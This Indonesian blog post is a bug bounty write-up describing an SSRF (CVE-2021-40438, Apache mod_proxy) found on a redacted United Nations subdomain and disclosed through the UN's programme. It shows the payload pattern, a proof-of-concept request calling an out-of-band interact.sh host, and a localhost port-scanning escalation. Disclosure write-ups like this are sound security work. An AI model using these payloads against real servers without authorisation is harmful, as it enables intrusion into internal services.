Setelah sekian lama sibuk pada pekerjaan, akhirnya dapat sedikit punya waktu untuk menuliskan sedikit pengalaman dalam mencari bug. Kali ini targetnya adalah situs United Nations atau Perserikatan Bangsa-Bangsa (PBB), PBB memiliki program untuk kita dalam membantu mengamankan situs mereka, klausulnya dapat diakses di UN Cybersecurity. Sebagaimana kebanyakan program dari pemerintah atau sejenisnya, mereka tidak menawarkan uang sebagai hadiah, namun mereka mengapresiasi dengan cara memasukan nama dan situs/media sosial kita ke Hall of Fame. Lumayan untuk eksposur diri dan situs/media sosial kita, kan?
Reconnaissance
Selalu, hal pertama yang dilakukan adalah reconnaissance, saya melakukannya menggunakan tools rEngine. Tools yang sangat saya rekomendasikan dalam melakukan bug bounty. rEngine menggabungkan banyak sekali tools yang memudahkan kita melakukan reconnaissance, bahkan dapat mencari kerentanan yang sudah well known seperti CVE. Target kita kali ini adalah un.org beserta seluruh subdomainnya, setelah beberapa jam rEngine melakukan tugasnya, munculah notifikasi bahwa rEngine menemukan kerentanan dengan tingkat severity kritikal pada redacted.un.org. Kerentanan itu adalah CVE-2021-40438
Apache <= 2.4.48 - Mod_Proxy SSRF
Kerentanan pada mod_proxy dan memungkinkan kita secara remote dan tidak terautentifikasi untuk memaksa server HTTP untuk meneruskan permintaan ke server, membuat kita memiliki kemampuan untuk melakukan hal berbahaya pada server.
Detail CVE ini dapat dibaca pada situs berikut
Server-side Request Forgery (SSRF)
Server-side request forgery (SSRF) merupakan celah pada server yang mengijinkan attacker melakukan HTTP request ke website atau domain lain semaunya. Mudahnya, seorang attacker dapat membuat sebuah server mengakses website atau domain tertentu. Umumnya, server tidak dapat atau tidak boleh melakukan request HTTP tanpa otorisasi.
Metodologi
membuktikan kerentanan CVE-2021-40438 cukup mudah, yaitu dengan melakukan request dengan payload berikut
https://vuln-web.com/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://your.OOB/
unix:AAAAA...AAA
di atas sudah saya sunting karena terlalu panjang, payload dapat di copy pada situs yang membahas detail CVE ini di atas. Perhatikan juga bahwa di akhir payload kita sisipkan link OOB (out-of-band) untuk dapat mendeteksi apakah server melakukan yang kita perintahkan, dalam hal ini perintah request.
Proof of Concept
Saya melakukan request dengan payload yang disebutkan di atas dengan mengganti link OOB menggunakan interact.sh.
https://redacted.un.org/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://my.interact.sh/
Saya berhasil membuat server mengakses interact.sh. Namun, dengan hanya ini impactnya tidak dapat dikatakan kritikal. Kita harus melakukan eskalasi kerentanan ini.
Kerentanan SSRF dapat dieskalasi lebih jauh salah satunya dengan memanfaatkan SSRF untuk melakukan local port scanning. Umumnya, local port hanya dapat diakses oleh localhost. Dengan SSRF ini, kita dapat “menyamar” menjadi localhost, sehingga kita dapat akses jauh ke dalam server.
Jadilah payload kita untuk melakukan local port scanning sebagai berikut
https://redacted.un.org/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://localhost:xxxx
xxxx
merupakan nomor port. Jika kita ingin memeriksa port 80, maka menjadi http://localhost:80
. Awalnya saya lakukan manual dengan memasukan port yang sudah dikenal. Namun karena hasilnya tidak memuaskan, maka saya putuskan menggunakan burpsuite, saya lakukan local port scanning dengan melakukan iterasi request dari port 100-9999 secara otomatis.
Voila! port 9000 terbuka berisi halaman login.
Setelah berbagai cara saya lakukan untuk memanfaatkan halaman login tersebut, yang berujung nihil. Saya putuskan melaporkan temuan ini dengan hasil setidaknya dapat mengekspos bahwa pada port 9000 di subdomain tersebut terdapat halaman login.
Timeline
- 2 Desember 2021 - Laporan dikirim
- 2 Desember 2021 - Laporan diterima dan sedang divalidasi
- 10 Januari 2022 - Temuan valid, nama saya dikukuhkan di Hall of Fame UN.
Lesson learned
SSRF merupakan kerentanan yang memiliki rentang severity dari low sampai high, tergantung pada dampak yang dapat kita manfaatkan. Jika kita menemukan SSRF, analisa kembali apakah kerentanan ini dapat kita eskalasi lebih jauh dan destruktif.
Terima kasih
Semua pengalaman saya di atas tidak akan terjadi tanpa-Nya. Segala puja dan puji hanya untuk-Nya. Tidak lupa juga untuk teman sekaligus mentor saya selama ini. Terakhir terima kasih kepada tim IT United Nations yang sangat profesional.